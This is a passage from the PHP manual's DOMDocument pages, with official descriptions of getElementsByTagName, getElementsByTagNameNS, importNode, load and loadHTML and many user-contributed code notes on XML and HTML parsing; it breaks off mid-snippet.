Marco Maranao 27-Apr-2010 10:22
The following takes a list of news items from an XML file (or an RSS feed), assigning it to an array first for a name value pair and then generating an HTML list.

<?php

$xml  =<<<EOT
<?xml version="1.0" encoding="ISO-8859-1"?>
<news>
    <item>
        <title>News 1</title>
        <created>04/2/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
    <item>
        <title>News 2</title>
        <created>04/25/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
    <item>
        <title>News 3</title>
        <created>04/27/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
</news>
EOT;

$doc = new DOMDocument();

if ($doc->loadXML($xml)) {
    $items = $doc->getElementsByTagName('item');
    $headlines = array();

    foreach($items as $item) {
        $headline = array();

        if($item->childNodes->length) {
            foreach($item->childNodes as $i) {
                $headline[$i->nodeName] = $i->nodeValue;
            }
        }

        $headlines[] = $headline;
    }

    if(!empty($headlines)) {
        $hc = 0;

        echo '<ul>';

        foreach($headlines as $headline) {
            if(++$hc <= 3) {
                echo '<li>'
                    .'<a href="'.$headline['url'].'" target="_blank">'
                        .'<span>'.date('F j, Y', strtotime($headline['created'])).'</span><br />'
                        .$headline['title']
                    .'</a>'
                .'</li>';
            }
        }

        echo '</ul>';
    }
}

?>
james 01-Feb-2010 07:03
Problem:
You have an XML document that contains filename references to, say, images. Each filename reference is defined by <file>filename.ext</file> tag. You'd like to perform perform additional validation, say, after running the XML document through XSD validation. The additional validation can be any of your choice, in this example, it would be ideal to convert the PHP code to a function. The function would then determine if the images exist and return either an integer value or a boolean.

<?xml version="1.0"?>
<root>
<box>
<file>example.png</file>
</box>
<content>
<item>
<image><file>example2.png</file></image>
<caption>The above image is an example</caption>
</item>
</content>
</root>

Solution:
<?php

$dom = new DomDocument();
$dom->prevservWhiteSpace = false;

if (!@$dom->load("example.xml")) {
    echo "example.xml doesn't exist!\n";
    return;
}

$imageList = $dom->getElementsByTagName('file');
$imageCnt  = $imageList->length;

for ($idx = 0; $idx < $imageCnt; $idx++) {
    print $imageList->item($idx)->nodeValue . "\n";
}

?>

The above PHP code could easily be turned into a function that returns an array of image filenames, an integer value relative to the number of images found, etc.

Hope this is helpful.
gurmukh24 at gmail dot com 03-Mar-2009 04:06
Following Example is of multiple attributes and multiple child nodes. this is being used to make joomla plugin for bulk upload of articles. Gurmukh Singh Bhatti

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<root>
<section name="Section1">
  <category id="Category1" name="google">
   <arti name="article1">
   <p>any html code here</p>
   <b>my name is so so</b>
    </arti>
   <arti name="article2">value2</arti>
   <arti name="article3">value3</arti>
   <arti name="article4">value4</arti>
  </category>
    <category id="Category2" name="yahoo">
   <arti name="articleSection2">Test value</arti>
  </category>
</section>
<section name="Section2">
  <category id="category1_of_section2" name="msn">
   <arti name="article2">value1</arti>
   <arti name="article3">value2</arti>
  </category>
    <category id="Category2_of_section2" name="webcare">
    <arti name="param3">value4</arti>
   </category>
</section>
</root>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('section'); // Find Sections
$k=0;
foreach ($params as $param) //go to each section 1 by 1
{
         echo "Section Attribute :-> ".$params->item($k)->getAttribute('name')."<br>";   //get section attribute
         $params2 = $params->item($k)->getElementsByTagName('category'); //digg categories with in Section
      $i=0; // values is used to iterate categories
        foreach ($params2 as $p) {
           echo "&nbsp;&nbsp;- Category Attribute Name :-> ".$params2->item($i)->getAttribute('name')."<br>"; //get Category attributes
            $params3 = $params2->item($i)->getElementsByTagName('arti'); //dig Arti into Categories
                 $j=0;//values used to interate Arti
                     foreach ($params3 as $p2)
                   {
                    echo "&nbsp;&nbsp;&nbsp;- Article Attribute Name : ".$params3->item($j)->getAttribute('name').""; //get arti atributes
echo "&nbsp;&nbsp; Value : ".$params3->item($j)->nodeValue."<br>"; //get Node value ;
                              $j++;
                   }
         $i++;
      }
$k++;

}
?>

output :
 Section Attribute :-> Section1
  - Category Attribute Name :-> google
            - Article Attribute Name : article1   Value : any html code heremy name is so so
            - Article Attribute Name : article2   Value : value2
            - Article Attribute Name : article3   Value : value3
            - Article Attribute Name : article4   Value : value4
  - Category Attribute Name :-> yahoo
            - Article Attribute Name : articleSection2   Value : Test value
Section Attribute :-> Section2
  - Category Attribute Name :-> msn
            - Article Attribute Name : article2   Value : value1
            - Article Attribute Name : article3   Value : value2
  - Category Attribute Name :-> webcare
            - Article Attribute Name : param3   Value : value4
James L 19-Aug-2008 04:04
Return if there are no matches is an empty DOMNodeList. Check using length property, e.g.:

<?php
$nodes=$domDocument->getElementsByTagName('book') ;
if ($nodes->length==0) {
   // no results
}
?>
jason at shaped dot ca 11-Feb-2008 04:59
in response to tildy at pr dot hu

my preferred way is (in example to gather country data from an iso 3166 xml flie)

$countries = new DOMDocument();
$countries->load("./lib/iso_3166.xml");

$countriesList = $countries->getElementsByTagName("ISO_3166-1_Entry");

foreach($countriesList as $country) {
    $values = $country->getElementsByTagName("*");
    foreach($values as $node) {
      echo $node->nodeName."=".$node->nodeValue;
    }
}
Finding values of a node 14-Mar-2007 02:01
I don't know if this is that obvious but it was not for me, so in addition to gem at rellim dot com's posting:
adding

<?php
echo $param -> nodeValue.'<br>';
?>

to the loop will output
value1
value2
value3
gem at rellim dot com 29-Sep-2004 04:20
Here is an example of getElementsByTagName():

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<config>
  <section id="section1">
   <param name="param1">value1</param>
   <param name="param2">value2</param>
  </section>
  <section id="section2">
   <param name="param3">value3</param>
  </section>
</config>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('param');

foreach ($params as $param) {
       echo $param -> getAttribute('name').'<br>';
}
?>

Expected result:
--------------
param1
param2
param3


Searches for all elements with given tag name in specified namespace

  • ? DOMDocument::getElementsByTagName
  • DOMDocument::importNode ?
  • PHP Manual
  • DOMDocument
  • Searches for all elements with given tag name in specified namespace

DOMDocument::getElementsByTagNameNS

(PHP 5, PHP 7, PHP 8)

DOMDocument::getElementsByTagNameNS — Searches for all elements with given tag name in specified namespace

说明

public DOMDocument::getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList

Returns a DOMNodeList of all elements with a given local name and a namespace URI.

参数

namespace

The namespace URI of the elements to match on. The special value "*" matches all namespaces. Passing null matches the empty namespace.

localName

The local name of the elements to match on. The special value "*" matches all local names.

返回值

A new DOMNodeList object containing all the matched elements.

更新日志

版本 | 说明
8.0.3 | namespace is nullable now.

示例

Example #1 Get all the XInclude elements

<?php

$xml = <<<EOD
<?xml version="1.0" ?>
<chapter xmlns:xi="http://www.w3.org/2001/XInclude">
<title>Books of the other guy..</title>
<para>
<xi:include href="book.xml">
<xi:fallback>
<error>xinclude: book.xml not found</error>
</xi:fallback>
</xi:include>
<include>
This is another namespace
</include>
</para>
</chapter>
EOD;
$dom = new DOMDocument;

// load the XML string defined above
$dom->loadXML($xml);

foreach ($dom->getElementsByTagNameNS('http://www.w3.org/2001/XInclude', '*') as $element) {
echo 'local name: ', $element->localName, ', prefix: ', $element->prefix, "\n";
}
?>

以上示例会输出：

local name: include, prefix: xi
local name: fallback, prefix: xi

参见

  • DOMDocument::getElementsByTagName() - Searches for all elements with given local tag name

User Contributed Notes

RiKdnUA at mail dot ru 19-Mar-2015 07:47
<?php
ini_set("display_errors","on"); error_reporting(-1);
$doc="<?xml version='1.0' encoding='WINDOWS-1251'?>
<htm:body xmlns:htm='w3.org'>
<span>Text</span>
<htm:img htm:src='imgSrc'/>
</htm:body>";
$dom = new DOMDocument('1.0','WINDOWS-1251');
$dom->preserveWhiteSpace=false;
$dom->loadXML($doc);
$domList=$dom->getElementsByTagNameNS('*','*');//all namespaces, all local names
echo "Количество элементов. The number of elements: ".$domList->length."<br />";// 2 (not 3)
for ($i=0; $i<$domList->length; $i++)
{echo "Элемент $i. The element $i: ".$domList->item($i)->tagName."<br />";
}
/*
Tested in PHP 5.2.9-2 and 5.2.17
The above example will output:
Количество элементов. The number of elements: 2
Элемент 0. The element 0: htm:body
Элемент 1. The element 1: htm:img

Вывод. Не найден элемент span
Conclusion. Not found span element
*/
?>


Import node into current document

  • ? DOMDocument::getElementsByTagNameNS
  • DOMDocument::load ?
  • PHP Manual
  • DOMDocument
  • Import node into current document

DOMDocument::importNode

(PHP 5, PHP 7, PHP 8)

DOMDocument::importNode — Import node into current document

说明

public DOMDocument::importNode(DOMNode $node, bool $deep = false): DOMNode|false

This function returns a copy of the node to import and associates it with the current document.

参数

node

The node to import.

deep

If set to true, this method will recursively import the subtree under the node.

Note:

To copy the nodes attributes deep needs to be set to true

返回值

The copied node or false, if it cannot be copied.

错误／异常

DOMException is thrown if node cannot be imported.

示例

Example #1 DOMDocument::importNode() example

Copying nodes between documents.

<?php

$orgdoc = new DOMDocument;
$orgdoc->loadXML("<root><element><child>text in child</child></element></root>");

// The node we want to import to a new document
$node = $orgdoc->getElementsByTagName("element")->item(0);

// Create a new document
$newdoc = new DOMDocument;
$newdoc->formatOutput = true;

// Add some markup
$newdoc->loadXML("<root><someelement>text in some element</someelement></root>");

echo "The 'new document' before copying nodes into it:\n";
echo $newdoc->saveXML();

// Import the node, and all its children, to the document
$node = $newdoc->importNode($node, true);
// And then append it to the "<root>" node
$newdoc->documentElement->appendChild($node);

echo "\nThe 'new document' after copying the nodes into it:\n";
echo $newdoc->saveXML();
?>

以上示例会输出：

The 'new document' before copying nodes into it:
<?xml version="1.0"?>
<root>
  <someelement>text in some element</someelement>
</root>

The 'new document' after copying the nodes into it:
<?xml version="1.0"?>
<root>
  <someelement>text in some element</someelement>
  <element>
    <child>text in child</child>
  </element>
</root>

User Contributed Notes

rikdnua at mail dot ru 11-Sep-2013 01:54
The behavior of importNode($node, false) is different in PHP 5.2.9-2 and PHP 5.2.17.
The second option is explicitly set to false. In PHP 5.2.9-2 importNode() imports the elements WITHOUT attributes. In PHP 5.2.17 the elements imported ALONG with their attributes.
<?php
$xml="
<html>
<a href='yandex.com'>Yandex.com</a>
<a href='rik.dn.ua'>RiK.dn.ua</a>
</html>
";
$doc=new domDocument('1.0');
$doc->loadXML($xml);
$list=$doc->getElementsByTagName('a');
$doc1=new domDocument('1.0');
$doc1->formatOutput=true;
for($i=0; $i<$list->length; $i++) $doc1->appendChild($doc1->importNode($list->item($i), false));
$doc1->save('file.xml');
?>

file.xml PHP 5.2.9-2
<?xml version="1.0"?>
<a/>
<a/>

file.xml PHP 5.2.17
<?xml version="1.0"?>
<a href="yandex.com"/>
<a href="rik.dn.ua"/>
c dot 1 at smithies dot org 19-Oct-2009 06:40
Assume that $source and $dest are instances of DOMDocument. Assume that $sourcedoc contains an element with ID 'sourceID' and that $destdoc contains an element with ID 'destID'. Assume that we have already set up source and destination element variables thus:

<?php
 $src = $sourcedoc->getElementById('sourceID');
 $dst = $destdoc->getElementById('destID');
?>

Finally, assume that $sel has more than one child node.

In order to import the child elements of $src as children of $dst, you might do something like this:

<?php
$src = $dest->importNode($src, TRUE);

foreach ($src->childNodes as $el) $dst->appendChild($el);
?>

But this does not work. foreach gets confused, because (as noted below) appending an imported element to another existing element in the same document causes it to be removed from its current parent element.

Therefore, the following technique should be used:

<?php
foreach ($src->childNodes as $el) $dst->appendChild($destdoc->importNode($el, TRUE));
?>
p dot reisinger at gmail dot com 29-Dec-2008 03:43
When you use function/method below, php automaticaly inserts namespaces (if you have some). If you want to join xml files exactly, then you can just use placeholders and treat xml as a string.
<?php
function joinXMLStrings($file1, $file2)
{
    //remove xml declaration
    $file2 = trim(preg_replace('/<\?xml.*\?>/', '', $file2, 1));

    //insert file2 in the place of placeholder in the first file
    $file1 = trim(preg_replace('/<\?file2\s\?>/', $file2, $file1, 1));
}
?>

so function looks like this and you insert two xml files. First file has to have placeholder (where you insert file2). Placeholder in this case will be <?file2 ?>

!!!this is only for ilustration - test before you use it
p dot reisinger at gmail dot com 23-Dec-2008 07:32
method (can be used as a function as well) that joins two xml files. first argument is parent xml (the one to be inserted into), second child (the one to be inserted) and third is optional argument that specifies the parent's tag where to insert children xml. If not specified then children is inserted as the last element, just before end of the root
<?php
    protected function joinXML($parent, $child, $tag = null)
    {
        $DOMChild = new DOMDocument;
        $DOMChild->loadXML($child);
        $node = $DOMChild->documentElement;

        $DOMParent = new DOMDocument;
        $DOMParent->formatOutput = true;
        $DOMParent->loadXML($parent);

        $node = $DOMParent->importNode($node, true);

        if ($tag !== null) {
            $tag = $DOMParent->getElementsByTagName($tag)->item(0);
            $tag->appendChild($node);
        } else {
            $DOMParent->documentElement->appendChild($node);
        }

        return $DOMParent->saveXML();
    }
?>
mailme at sove dot nl 11-Jun-2008 05:29
DOMDocument->importNode with seconds argument false will leave attributes behind. To fix this:

$__DOM->importNode
   (
      $__INPUT->cloneNode(false), true
   );

$__DOM (DOMDocument) will import the $__INPUT node (DOMElement) INCLUDING attributes.
mark at 4inloop dot de 05-Apr-2007 05:51
When you left out the second argument or enter false, not only the child nodes are ommited. The attributes of the node are also cut off.
adjwilli 05-Oct-2006 01:08
Editing XML with PHP can be a pain in the Secretary of State Powell, so here's a script to replace an XML node with a user-provided one through the POST. It's usually a good idea to run the $_POST['xml'] through a validation check and clean it for other thing before running this.

Pretty much this script expects a user-provided node called $_POST['xml'] and the XPath of the node in the original document that you want to replace called $_POST['XPath']. It also loads the original XML document from $xml. The function nodeRunner begins with the root node of the document you're editting and the XPath for the root element (these are more to make recursion easy than anything else).

$doc = new DOMDocument();
$doc->loadXML($xml); // $xml expects an XML string

function nodeRunner ($node,$xpath) {
    global $doc;
    if ($xpath == $_POST['XPath']) {

        $xmlPost = new DOMDocument();
        $xmlPost->loadXML($_POST['xml']);

        $newNode = $doc->importNode($xmlPost->firstChild,true);

        $node->parentNode->replaceChild($newNode,$node);
    } else {

        $page = 1;
        $section = 1;

        if ($node->hasChildNodes()) {
            foreach ($node->childNodes as $nodling) {
                $nodeName = $nodling->nodeName;
                if ($nodeName == 'page' || $nodeName == 'section') {
                    nodeRunner ($nodling,$xpath."/".$nodeName."[".$$nodeName."]");
                    $$nodeName++;
                }
            }
        }
    }
}

nodeRunner ($doc->documentElement,"/root[1]"); // /root should be explicit name of the root  element of the XPath

$doc->saveXML();
stomas 19-Sep-2006 06:14
I think this should do the same:

<?
 // Import $b into $a's document
 function myimport($a, $b)
 {
   if ($a->ownerDocument->isSameNode($b->ownerDocument))
   {
    return $b->cloneNode(TRUE);
   }
   else
   {
    return $a->ownerDocument->importNode($b, TRUE);
   }
 }
 ?>
Colin 12-Sep-2006 09:11
As of PHP 5.1.6 with libxml 2.6.26 and DOM/XML API version 20031129, importNode() does nothing if attempting to import from the same document.  Meaning, if you do an $ret = importNode and then appendChild($ret) or insertBefore($ret, ...) then you will end up *moving* the node instead of ending up with a copy.

If you expect importNode to give you a copy of the source (in this case, a deep copy) then you must account for them being from the same document.  This function addresses this:

<?
// Import $b into $a's document
function myimport($a, $b)
{
  if ($a->ownerDocument->isSameNode($b->ownerDocument))
  {
    $temp = new DOMDocument();
    $ret = $temp->importNode($b, TRUE);
    return $a->ownerDocument->importNode($ret, TRUE);
  }
  else
  {
    return $a->ownerDocument->importNode($b, TRUE);
  }
}
?>

(Function was freshly coded for this note but I based it off another, working function of mine.)

This function checks if the documents are the same and uses a new document (guaranteed to be different this way) to force a copy into $temp and then force a copy back into $a->ownerDocument.

Obviously, no error checking has been done.
andy dot clark at dial dot pipex dot com 15-Aug-2006 08:20
One useful use of importNode is to copy one node onto another.

function CopyXMLNode($SourceNode,$DestNode)
 {
  if ($SourceNode->nodeName != '#text')
   {
     //Copy this node
    $node = $DestNode->ownerDocument->importNode($SourceNode, true);
    $node = $DestNode->appendChild($node);
    //Now copy the child nodes
    foreach ($SourceNode->childNodes AS $item)
     {
     $this->CopyXMLNode($item,$node);
     }
    }
  }
Fitopaldi 03-Aug-2005 11:29
importNode returns a copy of the node to import and associates it with the current document, but not import the node to the current DOMDocument. Use appendChild for import the copy of the node to current DOMDocument.

<?
 $domNode = $dom->importNode($aDomNode, true);
 $currentDomDocument->appendChild($domNode);
?>


Load XML from a file

  • ? DOMDocument::importNode
  • DOMDocument::loadHTML ?
  • PHP Manual
  • DOMDocument
  • Load XML from a file

DOMDocument::load

(PHP 5, PHP 7, PHP 8)

DOMDocument::load — Load XML from a file

说明

public DOMDocument::load(string $filename, int $options = 0): bool

Loads an XML document from a file.

Warning

Unix style paths with forward slashes can cause significant performance degradation on Windows systems; be sure to call realpath() in such a case.

参数

filename

The path to the XML document.

options

Bitwise OR of the libxml option constants.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If an empty string is passed as the filename or an empty file is named, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

更新日志

版本 | 说明
8.3.0 | This function now has a tentative bool return type.
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

示例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

参见

  • DOMDocument::loadXML() - Load XML from a string
  • DOMDocument::save() - Dumps the internal XML tree back into a file
  • DOMDocument::saveXML() - Dumps the internal XML tree back into a string

User Contributed Notes

Raf-sns 11-Nov-2023 06:19
Be carreful with the option "preserveWhiteSpace"

$dom = new DOMDocument;
// false -> this preserve white spaces
// true -> this will put all entries inline
$dom->preserveWhiteSpace = false;  // preserve white space !
sainthyoga2003 at gmail dot com 09-Feb-2012 03:37
in the default example:

<?php
$doc = new DOMDocument();
$doc->load('book.xml');
echo $doc->saveXML();
?>

you must enter the absolute path for book.xml due for get a false result in load function.
sainthyoga2003 at gmail dot com 25-Feb-2011 05:38
i've found the partial solution for xml:id warning,is explained at this address: https://fosswiki.liip.ch/display/BLOG/GetElementById+Pitfalls

there explains that:
The ID does have to be a valid NCName, which for example means, that the first letter can't be a number.

and in my xml:id i had a number. :D
sainthyoga2003 at gmail dot com 16-Feb-2011 09:31
adding an id for a child, when i use abstract mode i get the following warning:

[quote]Warning: DOMDocument::load() [domdocument.load]: xml:id : attribute value xx is not an NCName in /fake/path/to/xmlfile[/quote]
_ michael 01-Jun-2010 08:34
load() will handle non-ASCII characters depending on the details of the XML declaration, but in a somewhat surprising way. One would assume that the declarations '<?xml version="1.0" encoding="UTF-8"?>' and '<?xml version="1.0"?>' are treated in the same way because UTF-8 is the default encoding anyway. But not so.

* If there is an XML declaration defining the encoding *explicitly*, the non-ASCII characters remain unchanged.
* If the XML declaration does not define the encoding explicitly, or if the XML declaration is missing, non-ASCII characters are converted into numeric entities.

So the document

    <?xml version="1.0"?>
    <root><nonascii>?</nonascii></root>

will be converted to

    <?xml version="1.0"?>
    <root><nonascii>&#xE4;</nonascii></root>

The same happens if there is no XML declaration at all. On the other hand, the document

    <?xml version="1.0" encoding="UTF-8"?>
    <root><nonascii>?</nonascii></root>

will remain as it is.

This behaviour applies to loadXML() as well.
_ michael 19-Apr-2010 07:50
XHTML and entities: The solution proposed below by zachatwork at gmail dot com didn't work for me. I checked on a number of servers (both LAMPP and WAMPP) - on each of them, calling loadXML() with the LIBXML_DTDLOAD option triggered an external request for the DTD. And that's bad news.

If allow_url_fopen is turned off, the request for the DTD fails with a warning. If it is turned on, the request fails because these w3c URLs return a 503 Service Unavailable.

HTML entities still generate a warning in either case.

The best solution, as far as I can tell, is simply to ignore the warnings and suppress them using '@'. I can't recommend parsing XHTML with loadHTML() instead of loadXML() - yes, you get rid of the entity problem, but loadHTML() changes the source while parsing it (tries to 'fix' it even though there is nothing to fix).
zachatwork at gmail dot com 30-Jun-2009 11:28
You can easily avoid the warning about &nbsp; references by using the LIBXML_DTDLOAD option.

<?php

$html = <<<EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  </head>
  <body>
    <p>&nbsp;</p>
  </body>
</html>
EOF;

// This one works perfectly.
$dom = new DOMDocument();
$dom->loadXML($html, LIBXML_DTDLOAD);
print $dom->saveXML();

// This one produces a warning.
$dom = new DOMDocument();
$dom->loadXML($html);
print $dom->saveXML();

?>

See also: http://www.php.net/manual/en/libxml.constants.php

Note that libxml will detect that your DTD is locally available via /etc/xml/catalog. So there is no worry about this causing your DOM loads to make external network requests.
Jonas Due Vesterheden 09-Jun-2009 08:18
I had a problem with loading documents over HTTP. I would get errors looking like this:

Warning: DOMDocument::load(http://external/document.xml): failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error

The document would load fine in browsers and using wget. The problem is that DOMDocument::load() on my systems (both OS X and Linux) didn't send any User-Agent header which for some weird reason made Microsoft-IIS/6.0 respond with the 500 error.

The solution is found on http://php.net/manual/en/function.libxml-set-streams-context.php :

<?php
$opts = array(
    'http' => array(
        'user_agent' => 'PHP libxml agent',
    )
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// request a file through HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');
?>
syntaxiko 04-Apr-2009 10:16
Function will not work if using XML DOM PECL module
darren at viamedia dot co dot za 05-Aug-2008 07:17
If you are loading xml with the intention of validating it against an internal dtd and you have experienced issues with the validation it could be related to missing LIBXML constants.

I found this post by "aidan at php dot net" in root level dom docs and thought it might be more useful here:
As of PHP 5.1, libxml options may be set using constants rather than the use of proprietary DomDocument properties.

DomDocument->resolveExternals is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDATTR

DomDocument->validateOnParse is equivilant to setting
LIBXML_DTDLOAD
LIBXML_DTDVALID

PHP 5.1 users are encouraged to use the new constants.

Example:
<?php
$dom = new DOMDocument;
// Resolve externals
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDATTR);
// OR
// Validate against DTD
$dom->load($file, LIBXML_DTDLOAD|LIBXML_DTDVALID);
$dom->validate();
?>
the_N_Channel 15-Jul-2008 04:53
NOTE, will not load successfully if there is a comment at the beginning of the file before the <?xml version="1.0" ?> declaration!
hh dot lohmann at yahoo dot de 30-Aug-2007 03:48
BadGuy′s note may be confusing since what he depicts is no special property of the relevant method. PHP works always in and on a local file system which means that if you want to use resources from other systems or - what is, indeed, BadGuy′s problem - need resources that have been dealt with by other programs or processes, you have to state and manage that explicitly in your code. PHP is just a quite normal program in that.

BadGuy′s solution is using the "http wrapper" to get output from another process (see "wrappers" in the PHP manual). Doing this, the appropriate syntax for http calls has to be respected.
admin at tijnema dot tijnema dot info 02-Jun-2007 04:39
In reply to BadGuy [at] BadGuy [dot] nl

When the news.php file is located on the same server, like you said in the first example then http://my.beautiful-website.com/xmlsource/news.php wouldn't work, but you should use http://localhost/xmlsource/news.php or http://127.0.0.1/xmlsource/news.php
BadGuy [at] BadGuy [dot] nl 18-Jan-2007 08:50
Note that this method uses the local file system before doing anything remote. The 'disadvantage' would be that if you would do the following:
<?php
$xml = new DOMDocument;
$xml->load("xmlsource/news.php");
?>

This would not make the method read the actual output of the news.php file --presumably valid xml data--, but the file contents --obviously this would be php code. So this will return an error saying news.php is missing the xml declaration and maybe the xml start-tag

What would work is the following:

<?php
$xml = new DOMDocument;
$xml->load("http://my.beautiful-website.com/xmlsource/news.php");
?>

This will force a http request to be used to get this file instead of just locally reading it and the file just returning code
daevid at daevid dot com 18-Oct-2005 05:08
Suppose you wanted to dynamically load an array from an .XSD file. This method is your guy. just remember to use the actual xs: portion in xpaths and such.

All the other "load" methods will error out.

<?php
$attributes = array();
$xsdstring = "/htdocs/api/xsd/common.xsd";
$XSDDOC = new DOMDocument();
$XSDDOC->preserveWhiteSpace = false;
if ($XSDDOC->load($xsdstring))
{
    $xsdpath = new DOMXPath($XSDDOC);
    $attributeNodes =
              $xsdpath->
              query('//xs:simpleType[@name="attributeType"]')
              ->item(0);
    foreach ($attributeNodes->childNodes as $attr)
    {
        $attributes[ $attr->getAttribute('value') ] = $attr->getAttribute('name');
    }
    unset($xsdpath);
}
print_r($attributes);
?>


Load HTML from a string

  • ? DOMDocument::load
  • DOMDocument::loadHTMLFile ?
  • PHP Manual
  • DOMDocument
  • Load HTML from a string

DOMDocument::loadHTML

(PHP 5, PHP 7, PHP 8)

DOMDocument::loadHTML — Load HTML from a string

说明

public DOMDocument::loadHTML(string $source, int $options = 0): bool

The function parses the HTML contained in the string source. Unlike loading XML, HTML does not have to be well-formed to load.

Warning

This function parses the input using an HTML 4 parser. The parsing rules of HTML 5, which is what modern web browsers use, are different. Depending on the input this might result in a different DOM structure. Therefore this function cannot be safely used for sanitizing HTML.

As an example, some HTML elements will implicitly close a parent element when encountered. The rules for automatically closing parent elements differ between HTML 4 and HTML 5 and thus the resulting DOM structure that DOMDocument sees might be different from the DOM structure a web browser sees, possibly allowing an attacker to break the resulting HTML.

参数

source

The HTML string.

options

Bitwise OR of the libxml option constants.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If an empty string is passed as the source, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

尽管非正确格式化的 HTML 仍应该被成功调入，但此函数会在遇到错误标记时产生 E_WARNING 错误。libxml 错误处理函数可以用来处理这类错误。

更新日志

版本 | 说明
8.3.0 | This function now has a tentative bool return type.
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

示例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br></body></html>");
echo $doc->saveHTML();
?>

参见

  • DOMDocument::loadHTMLFile() - Load HTML from a file
  • DOMDocument::saveHTML() - Dumps the internal document into a string using HTML formatting
  • DOMDocument::saveHTMLFile() - Dumps the internal document into a file using HTML formatting

User Contributed Notes

Anonymous 19-May-2022 04:05
loadHTML() & loadHTMLFile() may always generate warnings if the html include some tags such as "nav, section, footer, etc" adopted as of HTML5 (in PHP 8.1.6).

Try to run below.

<?php

$file_name = 'PHP Runtime Configuration - Manual.html'; // Download this file from "https://www.php.net/manual/en/session.configuration.php" in advance.

$doc = new DOMDocument();
$doc->loadHTMLFile($file_name); // if set "LIBXML_NOERROR" as 2nd arg, no error
echo $doc->saveHTML();

// Warning: DOMDocument::loadHTMLFile(): Tag nav invalid in PHP Runtime Configuration - Manual.html, line: 63 in D:\xampp\htdocs\test\xml(dom)\loadHTML\index.php on line 6

?>
obayed dot opu at gmail dot com 10-Dec-2021 09:58
To support HTML5 you have to disable xml error handling by add `LIBXML_NOERROR` as an option of loadHTML method.

Example:

<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br><section>I'M UNSUPPORTED</section></body></html>", LIBXML_NOERROR);
echo $doc->saveHTML();
?>
deepakrajpal dot com at gmail dot com 20-Nov-2020 06:16
If we are loading html5 tags such as <section>, <svg> there is following error:

DOMDocument::loadHTML(): Tag section invalid in Entity

We can disable standard libxml errors (and enable user error handling) using libxml_use_internal_errors(true); before loadHTML();

This is quite useful in phpunit custom assertions as given in following example (if using phpunit test cases):

// Create a DOMDocument
$dom = new DOMDocument();

// fix html5/svg errors
libxml_use_internal_errors(true);

// Load html
$dom->loadHTML("<section></section>");
$htmlNodes = $dom->getElementsByTagName('section');

if ($htmlNodes->length == 0) {
    $this->assertFalse(TRUE);
} else {
    $this->assertTrue(TRUE);
}
divinity76+spam at gmail dot com 14-Sep-2020 09:25
if you want to get rid of all the "DOMText elements containing ONLY whitespace", maybe try

<?php

function loadHTML_noemptywhitespace(string $html, int $extra_flags = 0, int $exclude_flags = 0): DOMDocument
{
    $flags = LIBXML_HTML_NODEFDTD | LIBXML_NOBLANKS | LIBXML_NONET;
    $flags = ($flags | $extra_flags) & ~ $exclude_flags;

    $domd = new DOMDocument();
    $domd->preserveWhiteSpace = false;
    @$domd->loadHTML('<?xml encoding="UTF-8">' . $html, $flags);
    $removeAnnoyingWhitespaceTextNodes = function (\DOMNode $node) use (&$removeAnnoyingWhitespaceTextNodes): void {
        if ($node->hasChildNodes()) {
            // Warning: it's important to do it backwards; if you do it forwards, the index for DOMNodeList might become invalidated;
            // that's why i don't use foreach() - don't change it (unless you know what you're doing, ofc)
            for ($i = $node->childNodes->length - 1; $i >= 0; --$i) {
                $removeAnnoyingWhitespaceTextNodes($node->childNodes->item($i));
            }
        }
        if ($node->nodeType === XML_TEXT_NODE && !$node->hasChildNodes() && !$node->hasAttributes() && empty(trim($node->textContent))) {
            //echo "Removing annoying POS";
            // var_dump($node);
            $node->parentNode->removeChild($node);
        } //elseif ($node instanceof DOMText) { echo "not removed"; var_dump($node, $node->hasChildNodes(), $node->hasAttributes(), trim($node->textContent)); }
    };
    $removeAnnoyingWhitespaceTextNodes($domd);
    return $domd;
}
BychkovVV at mail dot ru 03-Apr-2020 08:30
If you are loading html content from any website, in "utf-8" encoding, when meta width content-type is not first child of HEAD, it would not be acknowledged by parser (encoding); So you can make this fix:
  function domLoadHTML($html)
           {$testDOM = new DOMDocument('1.0', 'UTF-8');
            $testDOM->loadHTML($html);
            $charset = NULL;
            $searchInElemnt = function(&$item) use (&$searchInElemnt, &$charset)
              {if($item->childNodes)
                 {foreach($item->childNodes as $childItem)
                    {switch($childItem->nodeName)
                       {case 'html':
                        case 'head':
                          $searchInElemnt($childItem);
                          break;
                        case 'meta':
                          $attributes = array();
                          foreach ($childItem->attributes as $attr)
                            {$attributes[mb_strtoupper($attr->localName)] = $attr->nodeValue;
                            }
                          if(array_key_exists('HTTP-EQUIV', $attributes) && (mb_strtoupper($attributes['HTTP-EQUIV']) == 'CONTENT-TYPE') && array_key_exists('CONTENT', $attributes) && preg_match('~[\s]*;[\s]*charset[\s]*=[\s]*([^\s]+)~', $attributes['CONTENT'], $matches))
